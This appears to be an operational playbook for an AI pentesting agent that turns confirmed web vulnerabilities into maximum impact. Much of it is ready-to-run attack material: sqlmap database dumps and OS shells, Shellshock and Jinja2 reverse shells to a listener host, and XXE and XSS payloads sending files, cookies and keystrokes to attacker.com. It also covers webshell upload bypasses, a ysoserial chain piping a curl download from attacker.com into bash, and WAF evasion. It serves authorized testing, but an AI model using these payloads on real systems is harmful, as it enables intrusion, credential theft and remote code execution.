Web Exploit Technique

Web-exploit technique

Goal: turn a confirmed web vulnerability into maximum impact — data extraction, authentication bypass, RCE, or persistent access — using the precise exploitation path for each vulnerability class.

When this technique applies

• vuln-search-technique produced confirmed web vulnerability findings.
• Vulnerability class is known (SQLi, SSRF, XSS, SSTI, file upload, etc.).
• Need to prove exploitability and assess actual business impact.
• Engagement scope includes web application exploitation.

Boundary

• Input: confirmed vulnerability + surface + class from vuln-search-technique.
• Infrastructure exploitation (CVE-based, service-level): use vuln-exploit-technique.
• Post-exploitation lateral movement: separate engagement after initial access established.
• Deep custom exploit development: offensive-coding/ skills for BOF, shellcode, ROP.
• LLM-backed features / prompt injection into web apps (chat widgets, AI summarizers, RAG endpoints, agentic tools reachable over HTTP): route to llm-technique — same HTTP surface, but exploitation model, evidence, and impact chain differ from classic web bugs.

Tool families

Initial triage

Before exploiting, classify the confirmed web issue by class, trust boundary, and likely impact path.

• Starting state: what confirmed class do you have (SQLi, SSRF, XSS, SSTI, auth flaw, upload, deserialization, parser confusion), and on what exact surface?
• First questions: what conditions gate impact (auth, WAF, output encoding, internal reachability, parser differences), and what is the minimum proof needed to demonstrate business impact?
• Immediate actions: replay the confirmed request, verify prerequisites, choose the primary exploitation chain for that class, and define positive and negative controls before escalation.
• Tool-family direction: use interception and replay first (burpsuite, mitmproxy), then class-specific exploitation skills (sqlmap, commix, dalfox, xsstrike, ssrfmap, sstimap, liffy, jwt-tool, smuggler, corsy) according to the confirmed surface.
• Escalation rule: progress from least invasive impact proof to deeper exploitation; do not dump or modify more than needed to prove the finding.

Atomic exploitation skills

For parameterized, reusable workflows that isolate single vulnerability classes with minimal configuration, use these atomic skills:

Each atomic skill accepts --base-url, field names, auth parameters, and match regexes to enable reusable exploitation workflows across different hosts, endpoints, and application configurations.

Agent operating model

Per confirmed web vulnerability:
  1. Identify class and surface (from vuln-search findings).
  2. Select exploitation path for that class.
  3. Verify environment conditions (WAF? Auth required? Encoding needed?).
  4. Execute exploitation — minimally invasive first, escalate if needed.
  5. Confirm impact: data extracted, access achieved, proof documented.
  6. Assess escalation: can this chain to RCE, auth bypass, or lateral movement?

If WAF blocks: apply bypass techniques before abandoning.
If exploit fails: re-read vuln-search evidence, confirm surface is correct.
If behavior depends on parser/proxy boundaries: test protocol/parser confusion paths before concluding false positive.

Injection exploitation

SQL injection — full chain

From detection to data extraction to RCE:

# sqlmap — full exploit with confirmed injection point
sqlmap -u "https://target.com/page?id=1" --batch --dbs          # enumerate databases
sqlmap -u "https://target.com/page?id=1" --batch -D db --tables # enumerate tables
sqlmap -u "https://target.com/page?id=1" --batch -D db -T users --dump  # dump data

# POST body injection
sqlmap -u "https://target.com/login" \
  --data="username=admin&password=test&submit=Login" \
  --batch --dbs

# Injection in header
sqlmap -u "https://target.com/" \
  --headers="X-Forwarded-For: 127.0.0.1*" \
  --batch --level=3 --risk=2 --dbs

# JSON body injection
sqlmap -u "https://target.com/api/search" \
  --data='{"query":"test*"}' \
  --batch --level=3 --dbs

# OS command execution (MySQL/MSSQL with DBA privileges)
sqlmap -u "https://target.com/page?id=1" --os-shell --batch

# File write to webroot (MySQL + FILE privilege + known webroot)
sqlmap -u "https://target.com/page?id=1" \
  --file-write=/tmp/shell.php \
  --file-dest=/var/www/html/shell.php \
  --batch

Manual exploitation chains — see references/injection-attacks.md.

Command injection — commix

# Auto-detect and exploit via GET parameter
commix --url "https://target.com/ping?host=127.0.0.1" --batch

# POST data
commix --url "https://target.com/exec" \
  --data="ip=127.0.0.1&submit=run" --batch

# Cookie-based
commix --url "https://target.com/" \
  --cookie="user=admin; cmd=ls*" --batch

# With authentication
commix --url "https://target.com/admin/exec" \
  --headers="Authorization: Bearer <token>" \
  --data="host=localhost" --batch

# Output filter (when only partial output visible)
commix --url "https://target.com/ping?host=127.0.0.1" \
  --technique=T --batch    # time-based

Shellshock — bash CGI environment injection (CVE-2014-6271 / 6278)

When a CGI endpoint is a bash script or spawns bash, HTTP headers are passed as environment variables; a payload that opens with a function definition gets executed as the web user. Hunt /cgi-bin/ targets (.sh/.cgi/.pl, classic Apache mod_cgi).

# Detect + read a file via ANY header (User-Agent, Cookie, Referer)
curl -s http://target/cgi-bin/status -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd'
# Reverse shell (runs as the web user — then pivot to post-exploit privesc)
curl -s http://target/cgi-bin/status -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
# Confirm with nmap: nmap -p80,443 --script http-shellshock --script-args uri=/cgi-bin/status target

() { :;}; is the function-definition trick; CVE-2014-6278 is the parser bypass for partially-patched bash. Non-CGI vectors when no /cgi-bin/ exists: DHCP client hostname, OpenSSH ForceCommand/AcceptEnv, CUPS filters, and restricted-shell git/rsync.

SSTI — server-side template injection to RCE

Once engine confirmed, apply RCE payloads per engine:

# Jinja2 (Python/Flask) — RCE
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

# Jinja2 — reverse shell
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(
   'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"').read() }}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java)
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

# Velocity (Java)
#set($e = "")#foreach($i in [1])$e.class.forName("java.lang.Runtime").getMethod("exec","".class).invoke($e.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")#end

# Smarty (PHP)
{php}echo shell_exec('id');{/php}

Tool: sstimap -u "https://target.com/profile?name=*" --os-shell

See references/injection-attacks.md for full engine matrix and bypass payloads.

SSRF — escalation paths

From confirmed SSRF to impact:

# Cloud metadata extraction (AWS — try IMDSv1 first; new EC2 instance types since mid-2024
# are IMDSv2-only, escalate via PUT-token bypass — see references/ssrf-and-xxe.md)
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# GCP metadata (requires header in direct access — not needed via SSRF)
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure IMDS
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Internal service enumeration via SSRF
# Port scan: observe timing or response size difference
url=http://127.0.0.1:22        # SSH
url=http://127.0.0.1:6379      # Redis
url=http://127.0.0.1:8080      # Internal app
url=http://127.0.0.1:9200      # Elasticsearch (unauthenticated)
url=http://127.0.0.1:11211     # Memcached

# SSRF to internal admin panel
url=http://127.0.0.1/admin
url=http://10.0.0.1/admin

# SSRF to RCE via Redis RESP injection (if Redis accessible)
# Use Gopher:
url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...

# SSRF bypass techniques
url=http://2130706433/          # 127.0.0.1 decimal
url=http://[::1]/               # IPv6 localhost
url=http://localhost.attacker.com@127.0.0.1/  # authority confusion
url=http://attacker.com#@127.0.0.1/          # fragment confusion

See references/ssrf-and-xxe.md for full bypass and escalation chains.

Source code and backup exposure

Confirm exposure with small, deterministic reads before reconstructing a repository or downloading large backups. Treat source disclosure as a credential and secret-harvest path, then hand cloud keys, database credentials, and CI tokens to the relevant technique skill.

# Git directory exposure
curl -s http://target/.git/HEAD
curl -s http://target/.git/config

# Reconstruct only when in scope and the tool is installed
git-dumper http://target/.git/ /tmp/repo/

# Common adjacent leaks
curl -s http://target/.env
curl -s http://target/backup/
curl -s http://target/backup.sql

LFI to RCE — Apache access log poisoning

If an LFI can include Apache logs and PHP executes in that context, inject a small command stub into the access log, then include the log path.

# Inject PHP via User-Agent header
curl -s http://target/page -A '<?php system($_GET["c"]); ?>'

# Include log via LFI
curl -s 'http://target/index.php?page=/var/log/apache2/access.log&c=id'

# If logs are buffered, trigger another request and retry the include
curl -s http://target/nonexistent.php -A '<?php system($_GET["c"]); ?>'

See references/lfi-and-path-traversal.md for wrappers, log-path variants, and validation controls.

XXE — data extraction and SSRF

<!-- Classic file read -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Windows path -->
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

<!-- Blind XXE — out-of-band exfiltration -->
<!-- evil.dtd served from attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

<!-- Reference evil.dtd in payload: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
]>
<foo/>

<!-- SSRF via XXE -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

<!-- PHP wrapper (when file contains special chars) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Authentication exploitation

JWT attacks

# alg:none attack
# 1. Decode JWT: echo "<header>.<payload>" | base64 -d
# 2. Modify payload: change role, user_id, exp
# 3. Reconstruct: base64url(header_alg_none).base64url(new_payload).  (empty sig)

# RS256 → HS256 confusion
# When public key is known/accessible:
# Sign with HMAC-SHA256 using public key bytes as secret key

# Weak secret brute-force
hashcat -a 0 -m 16500 "eyJ..." /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt

# kid parameter SQL injection
# kid header: {"kid": "' UNION SELECT 'secret'-- "}
# HMAC key becomes the SQL result

# jku / x5u header injection
# Point to attacker-controlled JWKS endpoint:
# {"jku": "https://attacker.com/jwks.json", ...}

# jti (nonce) reuse - token replay with the same jti
# The jti claim should be single-use. If the server accepts repeated
# tokens with the same jti, any captured token can be replayed indefinitely
# Test: send same token twice; if both succeed, jti is not enforced

# jwt_tool — automated attacks
jwt_tool -t https://target.com/api/profile -rh "Authorization: Bearer <token>" -M at

See references/auth-and-session.md for full JWT and OAuth attack chains.

API authorization and real-time exploitation

For confirmed API authorization flaws, prove impact with role-tagged controls before escalating:

• BOLA/IDOR: replay user/tenant A credentials against user/tenant B object identifiers across read, write, delete, bulk, and async job endpoints.
• Mass assignment: inject unauthorized properties such as role, owner, tenant, billing, approval, or status fields; confirm persisted impact, not just a successful response.
• CORS: prove browser-readable cross-origin access on sensitive authenticated data; header reflection alone is not enough.
• WebSocket: validate authorization both at handshake and per message/channel/subscription.
• Interactive-terminal WebSocket = RCE surface: dev/notebook tools serve a shell over a WS endpoint (marimo /terminal/ws, Jupyter, ttyd/gotty, code-server, Cloud9). The auth check is frequently missing on the WS upgrade even when the HTML app is password-gated (e.g. marimo CVE-2026-39987) — a 101 Switching Protocols drops you straight into an app-user/root shell. Probe /terminal/ws (and siblings) with an Upgrade: websocket handshake; if it upgrades, drive it with a one-shot websockets client (send cmd\n, read frames). Internal-only vhost? chain via SSRF/host-header first.

Use references/api-authorization-and-realtime.md for object-ID edge cases, CORS origin bypasses, and WebSocket message-level proof requirements.

Advanced web chains

Use references/advanced-web-chains.md when the confirmed weakness involves prototype pollution, race conditions, undocumented GraphQL, exploitable CORS, or SOAP/XML services. These chains require proof of impact with controls; detection hints alone are not enough.

OAuth / SSO attacks

Attacks to test in order:
1. Missing state parameter → CSRF on auth flow
2. redirect_uri not validated → code/token theft
   - Try: redirect_uri=https://attacker.com
   - Try: redirect_uri=https://legitimate.com.attacker.com
   - Try: redirect_uri=https://legitimate.com/../../attacker.com
3. Authorization code reuse (should be one-time)
4. Token leakage in Referer header
5. Implicit flow → token in URL fragment → leaked in logs
6. scope escalation: add admin scopes to auth request
7. PKCE absent → code interception

Session and credential attacks

# Cookie attribute analysis
# Secure cookie attribute: cookie sent over HTTP?
# HttpOnly: accessible via JS?
# SameSite: CSRF possible?

# Session fixation test
# Set known session ID before auth → if same ID after auth → fixation

# Credential stuffing (authorized scope only)
# Use hydra or custom script with known credential pairs

# Default credentials — common targets
# Jenkins: admin/admin or admin/(blank)
# Grafana: admin/admin
# Kibana: elastic/changeme
# Tomcat manager: tomcat/tomcat, admin/admin
# GitLab: root/5iveL!fe (older versions)
# Metabase: (setup wizard, no default)

XSS impact escalation

Detection of XSS is covered in vuln-search-technique. Exploitation maximizes impact:

// Session hijack
fetch('https://attacker.com/steal?c='+document.cookie)
new Image().src='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)

// Credential phishing (when SOP allows reading)
// Redirect to fake login:
window.location='https://attacker.com/phish'

// Keylogger
document.addEventListener('keydown', e => {
  fetch('https://attacker.com/key?k='+e.key)
})

// Full page content exfil
fetch('https://attacker.com/page', {method:'POST', body:document.documentElement.outerHTML})

// DOM-based XSS via fragment
// URL: https://target.com/page#<img src=x

// CSP bypass via JSONP endpoint
<script src="https://trusted.com/api/jsonp?callback=alert(1)//"></script>

// Cookie theft with httpOnly bypass (if XSS has script execution → read DOM state)
// httpOnly cookies not readable via JS — escalate to session riding instead

// XSS to CSRF — execute state-changing requests in victim context
fetch('/api/admin/add-user', {method:'POST', body: JSON.stringify({user:'attacker',role:'admin'}),
  headers:{'Content-Type':'application/json', 'X-Requested-With':'XMLHttpRequest'},
  credentials:'include'})

Tool: xsstrike for payload generation and blind XSS callback setup.

See references/xss-and-client.md for CSP bypass, DOM clobbering, mutation XSS.

File upload to RCE

# PHP webshell — basic
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Access: https://target.com/uploads/shell.php?cmd=id

# Extension bypass attempts (in order)
shell.php → shell.php5 → shell.phtml → shell.pHp → shell.php.jpg
shell.php%00.jpg     # null byte (older PHP)
shell.php;.jpg       # semicolon (some configs)

# MIME type bypass
# Upload PHP file with Content-Type: image/jpeg

# Magic byte bypass
# Prepend valid JPEG magic bytes to PHP:
printf '\xff\xd8\xff' > shell_jpg.php
cat shell.php >> shell_jpg.php

# Double extension
shell.jpg.php        # if server processes last extension
shell.php.jpg        # if server processes all before last

# .htaccess upload (Apache)
# Upload .htaccess:
echo "AddType application/x-httpd-php .jpg" > .htaccess
# Then upload shell.jpg with PHP code → executed as PHP

# SVG stored XSS
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

See references/file-upload-and-rce.md.

Deserialization exploitation

# Java — ysoserial gadget chains
# Enumerate available gadget chains:
java -jar ysoserial.jar

# Generate payload
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' > payload.ser

# Base64-encode for HTTP transport
base64 -w0 payload.ser > payload.b64

# .NET — ysoserial.net
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "whoami > /tmp/output"

# PHP — phpggc
phpggc Monolog/RCE1 system id  # identify payload

# Python — pickle / PyTorch / PyYAML / joblib (no gadget library; you write the class)
python3 -c 'import pickle,os,sys;
class E:
  def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
sys.stdout.buffer.write(pickle.dumps(E()))' > payload.pkl
# Sinks: pickle.loads, joblib.load, numpy.load(allow_pickle=True),
#        yaml.load (unsafe Loader), torch.load(..., weights_only=False)

# Deliver in:
# Java:   serialized object in cookie, HTTP body, XML field
# .NET:   ViewState, JSON API body, binary endpoint
# PHP:    serialized cookie, POST body
# Python: raw pickle bytes, forged .pt/.pkl/.npy checkpoint, unsafe YAML doc

See references/deserialization.md.

WAF bypass — general strategies

When payloads are blocked, apply before abandoning:

# Case variation
<ScRiPt>alert(1)</ScRiPt>
sElEcT * fRoM users

# URL encoding
%3Cscript%3Ealert(1)%3C%2Fscript%3E
%27%20OR%201%3D1--

# Double encoding
%253Cscript%253E  (% → %25 → second decode gives %3C → <)

# Unicode / UTF-8 variations
<ｓｃｒｉｐｔ>  (fullwidth chars)
' → %ef%bc%87 (fullwidth apostrophe)

# Comment injection (SQL)
SE/**/LECT * FR/**/OM users
' OR/**/1=1--

# Whitespace alternatives
SELECT%09FROM%09users  (tab)
SELECT%0AFROM%0Ausers  (newline)

# Parameter pollution
?id=1&id=2 OR 1=1--   (some WAFs check first occurrence only)

# Chunked Transfer Encoding (bypasses body inspection on some WAFs)

# HTTP method variation
POST → PUT, PATCH (WAF may not inspect all methods)

# Payload in unusual locations
Header injection, JSON body instead of URL, alternate content-type

See references/waf-bypass.md for class-specific bypass techniques.

Embedded scripting engine injection

When a web or FTP daemon exposes a scripting engine (Lua, Tcl, Python, custom VM) through user-controlled input — login fields, config templates, URL parameters, script terminals — injection into that engine often yields direct OS command execution.

Recognition signals:

• Server runs a known scripting-capable daemon (WingFTP, ProFTPD mod_exec, OpenResty/Nginx+Lua, custom app server)
• Error messages reference a scripting engine or interpreter (Lua 5.x, Tcl, embedded Python)
• Admin UI has a "script terminal", "task script", or "Lua console" section
• Source/config shows io.popen, os.execute, exec(), subprocess called from user-reachable paths

Injection vectors:

Null-byte / delimiter escape (terminates parser context, injects new statements):

# Lua: null byte closes string, %0d is \r which WingFTP treats as newline
username=anonymous%00<injected lua>%0d--
# Typical payload structure: close current context + new statements + comment remainder

Template / format string injection:

# If input is interpolated into a script template before eval
# ${os.execute("id")}  /  #{`id`}  /  [[injected]]

Script terminal (authenticated):

-- Direct Lua RCE via admin console
local h = io.popen("id"); print(h:read("*a")); h:close()

Enumeration approach:

1. Identify daemon version → check if scripting engine is present and which version
2. Locate user-reachable inputs that feed into script execution (login, config, API params)
3. Find terminator for current parse context (null byte, quote, bracket close, CRLF)
4. Inject minimal OS exec primitive: io.popen / os.execute (Lua), exec (Tcl), subprocess (Python)
5. Extract output via response body, cookie, redirect, or OOB channel if blind

Output channels when response is XML/binary:

• Response body before XML delimiter (< or <?xml) often contains print output
• Set-Cookie or custom header reflection
• OOB: write to world-readable file, HTTP callback via curl/wget

Protocol and parser confusion exploitation

When edge and backend parse URLs/headers differently, minor input differences can bypass controls.

Typical high-impact paths:

• Host header poisoning and cache poisoning
• Request smuggling (front-end/back-end desync)
• URL parser confusion (authority, encoded delimiters, IPv6 zone IDs)
• Rewrite/proxy semantic confusion in Apache deployments

Use references/protocol-and-parser-confusions.md for exploitation checks and escalation chains.

Quality gates

• Confirmed exploitation evidence: exact request/response demonstrating impact.
• Minimum necessary access — do not escalate beyond what confirms the finding.
• Every exploitation attempt logged with timestamp, payload, target endpoint.
• WAF bypass attempts limited to what's needed for confirmation.

Anti-patterns

• Exploiting without confirmed detection (running blind payloads hoping for output).
• Mass exploitation of multiple endpoints simultaneously — attributes nothing.
• SQL injection dump of entire database when sample rows confirm impact.
• Persistent modification of target state (adding accounts, deleting data) unless explicitly in scope.
• Ignoring WAF — bypasses often exist and should be tried before declaring not exploitable.

Resources

• references/injection-attacks.md — SQLi full chains, SSTI engine matrix and RCE payloads, command injection patterns.
• references/ssrf-and-xxe.md — SSRF escalation paths, cloud metadata extraction, XXE data exfil, bypass techniques.
• references/auth-and-session.md — JWT attack matrix, OAuth bypass flows, session fixation, credential attacks.
• references/api-authorization-and-realtime.md — BOLA/IDOR exploitation, mass assignment, CORS impact proof, and WebSocket authorization testing.
• references/xss-and-client.md — XSS impact escalation, CSP bypass, DOM attacks, blind XSS callbacks.
• references/file-upload-and-rce.md — file upload bypass techniques, webshell payloads, SSTI/deserialization-to-RCE.
• references/deserialization.md — Java/.NET/PHP deserialization exploitation workflow and gadget-selection matrix.
• references/waf-bypass.md — encoding, comment injection, parameter pollution, chunked encoding bypass strategies.
• references/protocol-and-parser-confusions.md — host header abuse, request smuggling, URL parser and rewrite/proxy confusion chains.
• references/advanced-web-chains.md — prototype pollution, race conditions, GraphQL without docs, CORS impact proof, SOAP/XML service exploitation.
• references/graphql-testing.md — GraphQL endpoint discovery, introspection, schema mapping, authorization testing, and GraphQL-specific attacks (depth, complexity, aliases, batching, CSRF, subscription abuse).
• references/lfi-and-path-traversal.md — Path traversal basics, bypass techniques, LFI escalation to RCE, PHP wrappers, and chaining workflows.
• Embedded scripting engine injection patterns are inline in the ## Embedded scripting engine injection section above; no separate reference needed unless engine-specific quirks accumulate.